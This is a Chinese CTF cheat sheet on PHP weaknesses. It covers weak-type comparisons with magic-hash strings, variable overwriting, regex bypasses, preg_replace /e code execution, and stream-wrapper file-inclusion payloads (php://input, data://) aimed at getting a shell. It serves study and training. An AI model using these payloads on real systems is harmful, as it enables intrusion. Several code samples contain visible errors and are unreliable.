CTF中常见的PHP知识点总结

PHP是一门比较松散的语言,即简单方便,又容易出现一些问题。本文主要总结一些作者遇到过的一些知识点,弱类型、变量覆盖、正则表达式、以及php伪协议等。(欢迎各位小伙伴补充交流

 、PHP弱类型

0x01 “==”与”===”的区别

“==”在进行比较时先将字符串类型转化成相同在比较。(如果比较涉及到数字内容的字符串,则字符串会被转换成数值,并且比较按照数值大小来进行)

“===”在进行比较时先进行字符串类型判断,再比教。

“根据php手册中所讲,字符串的开头决定了它转换后的值,如果该字符串以合法的数值开始,则使用该合法数值,否则其值为0”

1 == ‘1’; //true

1 == ‘1abc’; //true

0 == ‘admin’; //true

0 === ‘admin’; //false

0e开头的字符串,在比较时被当作科学记数法。所以在hash比较时我们可以利用php弱类型,进行绕过。这里以md5为例
<?php 

if(isset($_POST['uname'])&&isset($_POST['pwd'])){

     if(md5($_POST['pwd'] == 0)){

         echo $flag; 

     } 

?>

贴一些常用到的md5 ==0的字符串。
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

并且md5()无法处理数组,所以当传入两个数组时两边都会返回null

var_dump(md5($array1)==var_dump($array2)); //true
var_dump(null==null); //true

0x02  strcmp()、strcasecmp()函数

strcmp()和strcasecmp()函数用于比较两个字符串,前者区分大小写。这两个函数都无法处理数组,当传入数组时,返回null。
$flag = "*******";
if(strcmp(($_GET['user']),$flag) == 0){
echo $flag;
}

var_dump(null==0); //true 

0x03  switch()函数

如果是数字类型的case的话,switch会将参数转化为数值。

$id = "2bc";
switch($id){
case 1:
case 2:
echo $flag;}

0x04  json绕过
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}

输入一个json类型的字符串,json_decode会解码为一个数组。payload为 message = {“key”:0}

二、变量覆盖

0x01  $$的使用

if (!isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $k => $v){
$$k = $$v;
}
foreach ($_POST as $k => $v){
$$k = $v;
}
if ( $_POST["flag"] !== $flag )
die($_403);
echo "flag: ". $flag . "\n";
die($_200);

0x02  extract()函数

该函数使用数组键名作为变量名,使用数组键值作为变量值针对数组中的每一个元素,将在当前符号表中创建对应的一个变量。
$flag = "******"
extract($_GET)
if($text == $f){
echo $flag
}

最终payload为: ?text=&f=

0x03  parse_str()函数

该函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。
$chabug = 'www.chabug.com';
parse_str($_SERVER['QUERY_STRING']);
echo $chabug;

payload为: ?chabug=s1ye  则页面返回 s1ye

三、正则表达式

0x01  eregi()函数
字符串对比解析,当ereg读取字符串string时,%00后面的字符串不会不会被解析。
if (ereg ("^[a-zA-Z]+$", $_GET['a']) !== FALSE) {
echo 'You password must be alphabet';

?a=abc%00123可以绕过(php 5.3x已经不再支持该用法)

0x02  preg_replace()函数
preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。(如果没有/e修饰符可以尝试%00截断。)
preg_replace("/test/e",$_GET["chabug"],"jutst test");

payload:  ?chabug=phpinfo()

四、PHP伪协议

php伪协议(file://,php://filter,php://input,zip://,compress.bzip2://,compress.zlib://,data://)

php版本 <= 5.2可以使用%00进行截断。

file:// 在 allow_url_fopen和allow_url_include双off情况下可以正常使用,用于访问本地文件系统。

用法: file://文件绝对路径和文件名

php://  不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要开启allow_url_include)

php://filter 读取源码并进行base64编码输出,不然会直接当作php代码执行,就看不到源代码内容了。(在双off下可以正常使用)

php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。

例如:

get:  https://www.chabug.org/include.php?file=php://input

post: <?php phpinfo(); ?>

就会返回phpinfo信息。也可以构造语句getshell。

zip://,bzip://,zlib://协议在双off的情况下也可以正常使用。

使用方法:

zip://chabug.zip#flag.txt(zip://绝对路径#子文件名,flag.txt内容就会以php代码执行。)

compress.bzip2://chabug.bz2和compress.zlib://chabug.gz用法相同

https://www.chabug.org/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg

data://协议(需要满足双on条件)

https://www.chabug.org/include.php?file=data://text/plain,<?php phpinfo();?>

or data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=

or data:text/plain,<?php phpinfo();?>

or data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=

五、PHP别名

php2,php3,php4,php5,phps,pht,phtm,phtml。

 

在这里把自己遇到的一些常见知识点总结并分享出来,欢迎各位小伙伴交流指点。

参考链接:

php伪协议实现命令执行的七种姿势

代码审计|变量覆盖漏洞